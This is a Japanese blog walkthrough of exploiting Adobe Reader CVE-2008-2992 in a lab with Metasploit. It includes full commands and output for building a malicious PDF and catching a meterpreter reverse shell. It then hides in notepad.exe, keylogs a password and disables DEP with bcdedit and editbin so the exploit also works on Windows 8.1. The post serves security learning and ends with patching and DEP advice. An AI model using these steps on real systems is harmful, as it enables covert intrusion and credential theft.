このサイトのチュートリアルが素晴らしい。

Metasploit Unleashed
http://www.offensive-security.com/metasploit-unleashed/Main_Page

今回はその中から↓を取り上げます。

Client Side Exploits - Metasploit Unleashed
http://www.offensive-security.com/metasploit-unleashed/Client_Side_Exploits

内容が内容なだけに、免責事項を。当ブログにて提供している情報、リンク先などにより、いかなる損失や損害などの被害が発生しても責任を追いかねますのでご了承ください。また、実際に Penetration Test を行う際は、システム管理者への事前通知を行い、許可を貰った上で実施してください。

さて上述の記事は、実際に見つかった Adobe Reader 8 の脆弱性を攻撃するコードです。この脆弱性自体は、CVE-2008-2992 としてファイルされ、2008 年 11 月に Adobe 社から修正パッチがリリースされています。バージョンでいうと、Adobe Reader 8.1.2 までのバージョンに脆弱性があり、8.1.3 から修正が含まれています。

CVE - CVE-2008-2992
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2992

Adobe - Security Advisories : APSB08-19 - Security Update available for Adobe Reader 8 and Acrobat 8
http://www.adobe.com/support/security/bulletins/apsb08-19.html

CVE とは、アメリカの NPO である MITRE が管理している脆弱性情報データベースです。

脆弱性情報データベース - Wikipedia
http://ja.wikipedia.org/wiki/%E8%84%86%E5%BC%B1%E6%80%A7%E6%83%85%E5%A0%B1%E3%83%87%E3%83%BC%E3%82%BF%E3%83%99%E3%83%BC%E3%82%B9

作業自体は前回の例と大して変わりません。msfconsole 上で PDF を生成し、攻撃対象のコンピューター上で Adobe Reader 8.1.2 を使って開くだけです。

まずは、Kali Linux 上で PDF を生成。

msf > use exploit/windows/fileformat/adobe_utilprintf 
msf exploit(adobe_utilprintf) > set FILENAME CVE-2008-2992.pdf 
FILENAME => CVE-2008-2992.pdf 
msf exploit(adobe_utilprintf) > set PAYLOAD windows/meterpreter/reverse_tcp 
PAYLOAD => windows/meterpreter/reverse_tcp 
msf exploit(adobe_utilprintf) > set LHOST 10.10.10.80 
LHOST => 10.10.10.80 
msf exploit(adobe_utilprintf) > set LPORT 4455 
LPORT => 4455 
msf exploit(adobe_utilprintf) > show options

Module options (exploit/windows/fileformat/adobe_utilprintf):

   Name      Current Setting    Required  Description 
   ----      ---------------    --------  ----------- 
   FILENAME  CVE-2008-2992.pdf  yes       The file name.

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description 
   ----      ---------------  --------  ----------- 
   EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none) 
   LHOST     10.10.10.80      yes       The listen address 
   LPORT     4455             yes       The listen port

Exploit target:

   Id  Name 
   --  ---- 
   0   Adobe Reader v8.1.2 (Windows XP SP3 English)

msf exploit(adobe_utilprintf) > run

[*] Creating 'CVE-2008-2992.pdf' file... 
[+] CVE-2008-2992.pdf stored at /root/.msf4/local/CVE-2008-2992.pdf

msf exploit(adobe_utilprintf) >

攻撃対象のコンピューターを用意し、生成された PDF をコピーします。

  • OS: Windows XP SP3 (32bit)
  • 他の OS バージョンについては後述
  • Windows Update は実行せず、他のパッチは無し (インストールしても結果は変わらないはず)
  • Adobe Reader 8.1.2
  • ftp://ftp.adobe.com/pub/adobe/reader/ からダウンロード可能

今回犠牲になる Adobe Reader 8.1.2 on Windows XP SP3。

PDF を開く前に、msfconsole で、攻撃対象コンピューターからのアクセスを待機します。

msf exploit(adobe_utilprintf) > use exploit/multi/handler 
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp 
PAYLOAD => windows/meterpreter/reverse_tcp 
msf exploit(handler) > set LPORT 4455 
LPORT => 4455 
msf exploit(handler) > set LHOST 10.10.10.80 
LHOST => 10.10.10.80 
msf exploit(handler) > exploit

[*] Started reverse handler on 10.10.10.80:4455 
[*] Starting the payload handler...

では、PDF を開きます。XP 視点での動作は、Adobe Reader がハングアップしたように見えるだけです。

Adobe Reader ハングアップ中。

一方 msf 側は、XP へ侵入できています。

msf exploit(handler) > exploit

[*] Started reverse handler on 10.10.10.80:4455 
[*] Starting the payload handler...

[*] Sending stage (769536 bytes) to 10.10.10.90 
[*] Meterpreter session 1 opened (10.10.10.80:4455 -> 10.10.10.90:1094) at 2014-08-11 11:23:59 -0700

meterpreter > sysinfo 
Computer        : XPSP3 
OS              : Windows XP (Build 2600, Service Pack 3). 
Architecture    : x86 
System Language : ja_JP 
Meterpreter     : x86/win32

実は AcroRd32.exe が 10.10.10.80:4455 とセッションを確立している。

今の状態は、単純に AcroRd32.exe から msf へ TCP セッションが貼られているだけなので、ユーザーがハングアップに痺れを切らしてプロセスを終了させるとセッションが失われます。その前に攻撃者は、別のプロセスを隠れ蓑にすることが可能です。

meterpreter > run post/windows/manage/migrate

[*] Running module against XPSP3 
[*] Current server process: AcroRd32.exe (520) 
[*] Spawning notepad.exe process to migrate to 
[+] Migrating to 1512 
[+] Successfully migrated to process 1512

これにより、XP 側では AcroRd32.exe が終了し、notepad.exe (PID=1512) が開始されます。しかしユーザー側にはメモ帳のウィンドウは見えません。あくまでも、少しの間ハングアップしていた Adobe Reader がクラッシュして終了したように見えるだけです。

notepad.exe が動いているがウィンドウが見えない。存在しない PID=520 がセッションを持っているように見える。

この状態になるとユーザーは普通気づかないでしょう。ログオフしてプロセスが失われるまでの間に、そのユーザーの権限内であれば何でもできます。試しに、スクリーン ショットとキー ロガーを動かしてみました。キー ロガーを動かしている間に XP 側で runas コマンド実行してみます。愚かなユーザーよ・・・。

meterpreter > screenshot 
Screenshot saved to: /home/alice/OCEGNZxE.jpeg 
meterpreter > run post/windows/capture/keylog_recorder

[*] Executing module against XPSP3 
[*] Starting the keystroke sniffer... 
[*] Keystrokes being saved in to /root/.msf4/loot/20140811113307_default_10.10.10.90_host.windows.key_705718.txt 
[*] Recording keystrokes...

^C

[*] Saving last few keystrokes... 
[*] Interrupt 
[*] Stopping keystroke sniffer... 
meterpreter >

キャプチャ画像 OCEGNZxE.jpeg。色は変だが文字は十分読み取れる。

これがキー ストロークのログ。XP 側が日本語キーボードなので一部の記号が正しく記録されていませんが (というか入力ミス多すぎだろ自分w)、ここからパスワードを盗むのは簡単そうです。

alice@kali:~$ cat /root/.msf4/loot/20140811113307_default_10.10.10.90_host.windows.key_705718.txt 
Keystroke log started at 2014-08-11 11:33:07 -0700 
runas /user+admi <Back>  <Back>  <Back>  <Back>  <Back> ;contoso]ad <Back>  <Back>  <Back>  administ 
rator cmd <Return> p'ssw0rd <Return> ehoc he <Back>  <Back>  <Back>  <Back>  <Back>  <Back> cho 
hello  <Back> a <Back>   <Back> ! <Return> 
alice@kali:~$

ユーザーが notepad.exe を終了させると、セッションは失われます。

notepad.exe とともに PID=520 のセッションも消えた

msf 側。

meterpreter > 
[*] 10.10.10.90 - Meterpreter session 1 closed.  Reason: Died

msf exploit(handler) >

以上から、exe ファイルを実行せずとも、PDF を開いただけでアウトという脆弱性も存在するということが分かります。これがよく言われる、無暗にメールの添付ファイルを開くな、という注意喚起の背景のです。この脆弱性は、Adobe Reader 8 の JavaScript エンジンがバッファー オーバー フローを引き起こすセキュリティー ホールを攻撃するものですが、同じようなことは、ブラウザーやメーラーなどでも起こり得ます。OS や各ソフトウェアに最新パッチをインストールすることが、ユーザー側の対策の基本中の基本です。

この脆弱性も、Adobe Reader を 8.1.3 をインストールすれば起こりません。この場合、白紙の PDF が開かれて終わりです。念のため最新版の 11.0.0.7 でもテストしましたが、問題ありませんでした。リグレッション テストがいい加減だと、過去のセキュリティー ホールが別バージョンで再発する可能性も 0 ではありません。なお、こういったセキュリティ ホールの修正コード自体は、NULL チェックや if 文を一つ追加するだけとかの単純な変更だったりします。

Adobe Reader 8.1.3 on XP - 普通に開ける

どうやって reverse_tcp を実行できたのか、というのが最も興味深いところ (というかそれを学ばないと意味がない・・) ですが、それは時間がかかるので後に回すとして、XP 以降の Windows だとどうなるでしょうか。Windows Vista SP2/Windows 7 SP1/Windows 8.1 Update 1 のデフォルト設定で試したところ、システムに入り込むことはできませんでした。また、生成した PDF ファイルは、Windows Defender が有効になっていればトロイの木馬 (Trojan:Win32/Swrort.A) として検出/駆除されます。

Vista 以降の OS だとプロセスが強制的にクラッシュする (32bit/64bit での動作は同じ)

「デフォルト設定で」 と記したように、実はある設定を変えることによって Windows 8.1 でもこの脆弱性を攻撃することができますし、逆に Windows XP をガードすることもできます。その設定が DEP (=Data Execution Prevention, データ実行防止) と呼ばれる機能です。つまり、単純に OS が偉くなったわけではなく、OS のデフォルト設定がセキュリティーを強化する方向に変化しているということです。(もちろん OS も偉くなっていますが)

データ実行防止とは
http://windows.microsoft.com/ja-jp/windows-vista/what-is-data-execution-prevention

データ実行防止 - Wikipedia
http://ja.wikipedia.org/wiki/%E3%83%87%E3%83%BC%E3%82%BF%E5%AE%9F%E8%A1%8C%E9%98%B2%E6%AD%A2

単純に言えば DEP とは、プロセスの仮想メモリ空間のうち、実行可能な部分を制限する機能です。しかるべきどころにコードを挿入しないと、コードを実行する前に異常を検知されて OS によってプロセスが終了されてしまうという防御がはたらきます。今回の PDF ファイルでは、実行するコードが実行可能なページとしてマークされていないところに差し込まれていたのでしょう。スタック オーバーフローですし。

DEP の設定箇所はコントロール パネルにあります。Windows 8.1 だと・・・ (重要なところなので日本語 OS の例で・・)

  1. スタート ボタン右クリック > [コントロール パネル] をクリック
  2. [システムとセキュリティ] をクリック
  3. [システム] をクリック
  4. [システムの詳細設定] をクリック
  5. [パフォーマンス] の [設定] ボタンをクリック
  6. [データ実行防止] タブをクリック

操作めんどくさすぎ、という方は、[ファイル名を指定して実行] から sysdm.cpl または systempropertiesadvanced.exe を実行して下さい。XP にも同じ設定があります。

Vista 以降のデフォルト設定

Adobe Reader に対して DEP を無効にするには、[次に選択するものを除くすべてのプログラムおよびサービスについて DEP を有効にする] を選択して “C:\Program Files\Adobe\Reader 8.0\Reader\AcroRd32.exe” (64bit OS であれば “C:\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe” ) を追加すればいいか、というと、単純にそれはできません。以下のように 「このプログラムは、データ実行防止 (DEP) を有効にして実行する必要があります。このプログラムでは DEP を無効にすることはできません。」 というダイアログが出て怒られてしまいます。

こんなの “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers” とかいうレジストリに値を直接入れればいいんでないの、という情報もありましたが、それでも動きません。なぜなら、AcroRd32.exe のイメージ ヘッダーにある DllCharacteristics という値で IMAGE_DLLCHARACTERISTICS_NX_COMPAT (0x100) フラグが ON になっているからです。

IMAGE_OPTIONAL_HEADER structure (Windows)
http://msdn.microsoft.com/en-us/library/windows/desktop/ms680339(v=vs.85).aspx

ちなみにこの設定、Visual Studio で作ったプログラムでも規定で有効になっています。リンク時のオプションに /NXCOMPAT:NO をつければ無効にできます。

整理するとこんな感じ。

  • 重要な Windows のプログラムおよびサービスについてのみ有効にする (=OptIn, Vista 以降のデフォルト)
    → AcroRd32.exe は 「重要な Windows のプログラム」 ではないが、NX_COMPAT フラグが ON になっているので DEP 有効
  • 次に選択するものを除くすべてのプログラムおよびサービスについて DEP を有効にする (=OptOut)
    → AcroRd32.exe の NX_COMPAT フラグが ON になっているので追加できない。レジストリで強引に追加しても設定は無視される。

そこで、もし AcroRd32.exe に対する DEP をどうしても無効にしたい場合、選択肢は 2 つ。

  • DEP 設定を全体的に無効 (=AlwaysOff)
  • AcroRd32.exe の NX_COMPAT フラグを OFF

DEP を無効にするためには、管理者権限を持つコマンド プロンプトで “bcdedit /set nx alwaysoff” と実行してコンピューターを再起動すれば OK です。これで、システム全体で DEP が無効になるので危険な状態になります。もちろん非推奨です。

C:\MSWORK>bcdedit

Windows ブート マネージャー 
-------------------------------- 
identifier              {bootmgr} 
device                  partition=\Device\HarddiskVolume1 
description             Windows Boot Manager 
locale                  ja-JP 
inherit                 {globalsettings} 
integrityservices       Enable 
default                 {current} 
resumeobject            {26af70dc-0031-11e4-9bff-ebb2e3739b30} 
displayorder            {current} 
toolsdisplayorder       {memdiag} 
timeout                 30

Windows ブート ローダー 
-------------------------------- 
identifier              {current} 
device                  partition=C: 
path                    \Windows\system32\winload.exe 
description             Windows 8.1 
locale                  ja-JP 
inherit                 {bootloadersettings} 
recoverysequence        {26af70de-0031-11e4-9bff-ebb2e3739b30} 
integrityservices       Enable 
recoveryenabled         Yes 
allowedinmemorysettings 0x15000075 
osdevice                partition=C: 
systemroot              \Windows 
resumeobject            {26af70dc-0031-11e4-9bff-ebb2e3739b30} 
nx                      OptIn 
bootmenupolicy          Standard

C:\MSWORK> bcdedit /set nx alwaysoff 
この操作を正しく終了しました。

C:\MSWORK>bcdedit

Windows ブート マネージャー 
-------------------------------- 
identifier              {bootmgr} 
device                  partition=\Device\HarddiskVolume1 
description             Windows Boot Manager 
locale                  ja-JP 
inherit                 {globalsettings} 
integrityservices       Enable 
default                 {current} 
resumeobject            {26af70dc-0031-11e4-9bff-ebb2e3739b30} 
displayorder            {current} 
toolsdisplayorder       {memdiag} 
timeout                 30

Windows ブート ローダー 
-------------------------------- 
identifier              {current} 
device                  partition=C: 
path                    \Windows\system32\winload.exe 
description             Windows 8.1 
locale                  ja-JP 
inherit                 {bootloadersettings} 
recoverysequence        {26af70de-0031-11e4-9bff-ebb2e3739b30} 
integrityservices       Enable 
recoveryenabled         Yes 
allowedinmemorysettings 0x15000075 
osdevice                partition=C: 
systemroot              \Windows 
resumeobject            {26af70dc-0031-11e4-9bff-ebb2e3739b30} 
nx                      AlwaysOff 
bootmenupolicy          Standard

C:\MSWORK>

二つ目の選択肢は、AcroRd32.exe そのものを編集してしまう方法です。これは、Visual Studio もしくは Windows SDK に含まれている EDITBIN.exe を使えば可能です。フラグの状態は dumpbin で確認できます。

/NXCOMPAT
http://msdn.microsoft.com/en-us/library/ms235338.aspx

D:\MSWORK> copy "\\10.10.20.70\c$\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe" "\\10.10.20.70\c$\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.NX.exe" 
        1 file(s) copied.

D:\MSWORK> dumpbin /headers "\\10.10.20.70\c$\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe" 
Microsoft (R) COFF/PE Dumper Version 10.00.30319.01 
Copyright (C) Microsoft Corporation.  All rights reserved.

Dump of file \\10.10.20.70\c$\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe

PE signature found

File Type: EXECUTABLE IMAGE

FILE HEADER VALUES 
             14C machine (x86) 
               4 number of sections 
        46444E37 time date stamp Fri May 11 04:06:31 2007 
               0 file pointer to symbol table 
               0 number of symbols 
              E0 size of optional header 
             103 characteristics 
                   Relocations stripped 
                   Executable 
                   32 bit word machine

OPTIONAL HEADER VALUES 
             10B magic # (PE32) 
            8.00 linker version 
            3000 size of code 
           4E000 size of initialized data 
               0 size of uninitialized data 
            3402 entry point (00403402) 
            1000 base of code 
            4000 base of data 
          400000 image base (00400000 to 00451FFF) 
            1000 section alignment 
            1000 file alignment 
            4.00 operating system version 
            0.00 image version 
            4.00 subsystem version 
               0 Win32 version 
           52000 size of image 
            1000 size of headers 
           55392 checksum 
               2 subsystem (Windows GUI) 
             100 DLL characteristics 
                   NX compatible 
          100000 size of stack reserve 
            1000 size of stack commit 
          100000 size of heap reserve 
            1000 size of heap commit 
(長いので省略)

D:\MSWORK> editbin /nxcompat:no "\\10.10.20.70\c$\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe" 
Microsoft (R) COFF/PE Editor Version 10.00.30319.01 
Copyright (C) Microsoft Corporation.  All rights reserved.

D:\MSWORK> dumpbin /headers "\\10.10.20.70\c$\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe" 
Microsoft (R) COFF/PE Dumper Version 10.00.30319.01 
Copyright (C) Microsoft Corporation.  All rights reserved.

Dump of file \\10.10.20.70\c$\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe

PE signature found

File Type: EXECUTABLE IMAGE

FILE HEADER VALUES 
             14C machine (x86) 
               4 number of sections 
        46444E37 time date stamp Fri May 11 04:06:31 2007 
               0 file pointer to symbol table 
               0 number of symbols 
              E0 size of optional header 
             103 characteristics 
                   Relocations stripped 
                   Executable 
                   32 bit word machine

OPTIONAL HEADER VALUES 
             10B magic # (PE32) 
            8.00 linker version 
            3000 size of code 
           4E000 size of initialized data 
               0 size of uninitialized data 
            3402 entry point (00403402) 
            1000 base of code 
            4000 base of data 
          400000 image base (00400000 to 00451FFF) 
            1000 section alignment 
            1000 file alignment 
            4.00 operating system version 
            0.00 image version 
            4.00 subsystem version 
               0 Win32 version 
           52000 size of image 
            1000 size of headers 
           55292 checksum 
               2 subsystem (Windows GUI) 
               0 DLL characteristics 
          100000 size of stack reserve 
            1000 size of stack commit 
          100000 size of heap reserve 
            1000 size of heap commit 
               0 loader flags 
              10 number of directories 
               0 [       0] RVA [size] of Export Directory 
            7264 [      8C] RVA [size] of Import Directory 
(長いので省略)

NX フラグさえ取ってしまえば、DEP の設定は既定の OptIn のままで DEP は無効になります。

この状態で PDF を開くと、最新の Windows 8.1 ですら侵入されます。Windows Defender と DEP 設定は無効にしないようにしましょう。

msf exploit(handler) > exploit

[*] Started reverse handler on 10.10.10.80:4455 
[*] Starting the payload handler... 
[*] Sending stage (769536 bytes) to 10.10.20.70 
[*] Meterpreter session 3 opened (10.10.10.80:4455 -> 10.10.20.70:49209) at 2014-08-11 13:48:51 -0700

meterpreter > sysinfo 
Computer        : CLIENT 
OS              : Windows 8 (Build 9200). 
Architecture    : x64 (Current Process is WOW64) 
System Language : en_US 
Meterpreter     : x86/win32 
meterpreter > shell 
Process 2072 created. 
Channel 1 created. 
Microsoft Windows [Version 6.3.9600] 
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\administrator.CONTOSO\Desktop>ver 
ver

Microsoft Windows [Version 6.3.9600]

C:\Users\administrator.CONTOSO\Desktop>

では逆に、XP で AcroRd32.exe に対する DEP を有効にしてみます。上述した wiki によると、DEP は XP SP2 で導入されたようです。

Windows XP での DEP 設定画面 (OptOut にすることで AcroRd32.exe が対象になる)

DEP によるクラッシュ

“DEP 無効化” などのキーワードでインターネット検索を行うと、教えて goo や某知恵袋などのサイトがたくさんヒットし、Windows Live Messenger や、某 DVD ソフトなどが DEP によってクラッシュさせられる事例が見受けられます。実際にこれらのソフトの特定のバージョンが、DEP を有効化すると動かなくなるという現象は十分にあり得ることですが、AlwaysOff の設定は極力使うべきではないでしょう。

クラッシュしてしまうソフトが DEP で落ちてしまうけれども、OptOut の設定に exe を追加しようとすると 「このプログラムは、データ実行防止 (DEP) を有効にして実行する必要があります。このプログラムでは DEP を無効にすることはできません。」 のダイアログが出て追加できない、という現象には注意が必要な気がします。このダイアログが出るということは、その exe ファイルの NX フラグが有効になっている可能性が高いです。この場合、その製品ベンダーは DEP が有効な状態でアプリケーションが動作可能であることを想定してテストしているはずなので、製品のセキュリティー ホールか、既に攻撃を受けている可能性があるので、ウィルス スキャンや怪しいファイルの削除するなどして対策した方がよさそうです。もし DEP 有効下で動かないのに NX フラグが ON になった exe を出荷しているとすればベンダーが XP でしかテストしてない、とかそういうお粗末な状況が予想されます。

攻撃者からすると、攻撃対象のコンピューターが XP だったり、DEP が無効になっているに越したことはありません。攻撃手段の第一歩として、ソーシャル エンジニアリングを利用してユーザーに対して DEP を無効にさせようといろいろな手を打ってくる可能性もあります。DEP に限らず、セキュリティ設定を弱くする場合には、その効果をよく理解してから行いたいものです。最近だと特にブラウザーの設定ですね。

これが 6 年前のセキュリティー ホールですが、最近の OS やソフトウェアはセキュリティー対策が厳しくなってきているので、攻撃を行うには全てを克服しないといけません。クラッカーの腕の見せ所です。次回はもう少し最近のセキュリティー ホールを見てみたいと思います。